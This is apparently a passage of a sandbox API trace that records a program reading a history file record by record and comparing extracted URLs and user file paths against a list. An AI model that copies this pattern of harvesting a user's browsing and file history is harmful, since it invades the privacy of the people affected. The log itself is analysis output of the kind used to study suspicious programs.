[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/3adm.jpg") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/rxgmrbg_.ppt") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/1c5hjvxp_vir2ayss.ots") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/josiaz/nbjtuf2im6kaee-b8aa.mkv") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/qsv5elm1q.png") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/onhdsbrjgnrmzx3mz49l.bmp") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/7u7fb7ebk.swf") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/h6qwun0ie2g6emvh.pps") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/iptjr58c5o.png") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/ocvzc9iyipvo8cnf.pptx") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/hvazibcrv6_z.pps") returned -1
[0079.732] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/kye9p798d.png") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/9moad6.gif") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/nzcvimvkjtdct.bmp") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/vyyobbl2ss.gif") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dddhzini5bpuq7.pptx") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/ycm4mhs.mkv") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/1t8pa5nkykotcg.swf") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/t_ieqztu.bmp") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/s2ez7rzq7srrh.swf") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/fetgdd8umywfrmfgr.csv") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/e79-i.png") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/hqx_f0eutgog0%20omlrky.jpg") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/dunmhbebmli9.odp") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/appdata/roaming/i%209j2-jqhg2nso1jp.docx") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/pictures/z%20ev6vvikcz7oa.jpg") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/videos/e1c36poz%20yfnm5.mkv") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/12mw6ytvwod4.docx") returned -1
[0079.733] wcscmp (_String1=":host: www.msn.com", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/f-pln0i.ots") returned -1
[0079.733] wcslen (_String=":host: www.msn.com") returned 0x12
[0079.733] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.733] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.733] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.733] SetFilePointer (in: hFile=0xa4, lDistanceToMove=20992, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5200
[0079.733] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x121e8c, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e8c*=0x100, lpOverlapped=0x0) returned 1
[0079.734] _strlwr (in: _Str="https://www.google.de/" | out: _Str="https://www.google.de/") returned="https://www.google.de/"
[0079.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12616e, cbMultiByte=-1, lpWideCharStr=0x121ee8, cchWideChar=8192 | out: lpWideCharStr="https://www.google.de/") returned 23
[0079.734] wcscmp (_String1="https://www.google.de/", _String2=":host: www.msn.com") returned 1
[0079.734] wcscmp (_String1="https://www.google.de/", _String2="http://google.com") returned 1
[0079.734] wcscmp (_String1="https://www.google.de/", _String2="https://www.google.de/") returned 0
[0079.734] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.734] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.734] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned 0
[0079.734] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21248, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5300
[0079.734] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x100, lpNumberOfBytesRead=0x121e8c, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e8c*=0x100, lpOverlapped=0x0) returned 1
[0079.734] _strlwr (in: _Str=":Host: www.google.de" | out: _Str=":host: www.google.de") returned=":host: www.google.de"
[0079.734] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x12616e, cbMultiByte=-1, lpWideCharStr=0x121ee8, cchWideChar=8192 | out: lpWideCharStr=":host: www.google.de") returned 21
[0079.734] wcscmp (_String1=":host: www.google.de", _String2=":host: www.msn.com") returned -1
[0079.734] wcscmp (_String1=":host: www.google.de", _String2="http://google.com") returned -1
[0079.734] wcscmp (_String1=":host: www.google.de", _String2="https://www.google.de/") returned -1
[0079.734] wcscmp (_String1=":host: www.google.de", _String2="http://www.google.de/") returned -1
[0079.734] wcscmp (_String1=":host: www.google.de", _String2="http://www.msn.com/de-de/") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="https://www.microsoft.com/en-us/iegallery") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="http://www.iegallery.com/en/addons/") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/products/internet-explorer") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/en-us/products/internet-explorer") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="http://go.microsoft.com/fwlink/") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="https://support.microsoft.com/internet-explorer") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="http://www.msn.com/") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2=":host: computer") returned 1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveyd~1/desktop/49343.doc") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/xsdx_zrd.docx") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/qu0oigomb7ap.gif") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/qqujwic.doc") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/3jbbrdk5kxyke.jpg") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/swpar5ukzey.xls") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/joje0p8bocqgjp%20o6.pps") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/yz5je7_%203.pps") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/encwj2/qtvvz.ots") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/l9uj7p%20fba_9_y.ppt") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/ckllfrri-zjdkcmsae.gif") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/qk7rbutispvizu7iod.gif") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/_1x3x.png") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/mfotgb5shny.gif") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/k4k5n.flv") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/r2ojuqwylgit6.ots") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/_odawwkfl1ra.docx") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/rnndlhlyrgwupi.xlsx") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/iifn4u9wweiqmdcl9.bmp") returned -1
[0079.735] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/pim74emk.xlsx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/tnxw0vods.docx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/3nejqpyx%20e.rtf") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/olxk.ots") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/ec0l%20bsovag9a8ny6n.bmp") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/vakuflq4t/pan9h-9jw%20sz4.doc") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/s0hxf5vbqg3tuou7yaih.png") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/_vv7923nmd.gif") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/t5_cs_ek5wgumutxo.odp") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/wfg.mkv") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/sipbk.bmp") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/2grp.xlsx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/dottc_9plzq5o597imze.ots") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/gu-f.gif") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/mcygb.pptx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/np2rpt4nzhnmzvjocd.jpg") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/zkrsd-4qoax5jm7.png") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/eorqdbqjtjf1ohk.png") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/vfr7mwb/3tyatzvc1z7khwie.gif") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/glcl.pptx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/tqck56jeac.png") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/xtvhwzic5kkeheqytagm.xls") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/u4m-9pzjcphsi6.swf") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/appdata/roaming/61wsaurg.bmp") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/nnht-qixy.docx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/hdlvazkif3vkccxbdo.docx") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/josiaz/pgp_.mkv") returned -1
[0079.736] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/auchwaavvk9r/l%20sigus.swf") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/pvi1bvfiliqmdkwr.jpg") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/documents/u%20x2wz014nno431w.ods") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/desktop/h2cb7jajw.flv") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/vajlxu.png") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/josiaz/aeprpt-%20br_yutu-.swf") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/yaqsguigi.bmp") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_zriqiqzdcdzwkr/jtlncq7xp14exqse.gif") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/yjkdm-.bmp") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/videos/myvtc.swf") returned -1
[0079.737] wcscmp (_String1=":host: www.google.de", _String2="file:///c:/users/atveydl98z/pictures/8mda7euxwifuav/_yvkle%2090dkso.png") returned -1
[0079.737] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21504, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5400
[0079.737] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.737] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.737] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5480
[0079.737] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.737] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.737] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21760, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5500
[0079.737] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=21888, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5580
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22016, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5600
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22144, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5680
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22272, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5700
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22400, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5780
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22528, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5800
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.738] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.738] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22656, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5880
[0079.738] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22784, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5900
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=22912, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5980
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23040, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a00
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23168, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5a80
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23296, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b00
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23424, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5b80
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.739] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23552, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c00
[0079.739] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.739] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23680, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5c80
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23808, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d00
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=23936, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5d80
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24064, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e00
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24192, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5e80
[0079.740] ReadFile (in: hFile=0xa4, lpBuffer=0x1260e8, nNumberOfBytesToRead=0x8, lpNumberOfBytesRead=0x121e90, lpOverlapped=0x0 | out: lpBuffer=0x1260e8*, lpNumberOfBytesRead=0x121e90*=0x8, lpOverlapped=0x0) returned 1
[0079.740] _memicmp (_Buf1=0x1260e8, _Buf2=0x44a6cc, _Size=0x4) returned -1
[0079.740] SetFilePointer (in: hFile=0xa4, lDistanceToMove=24320, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x5f00
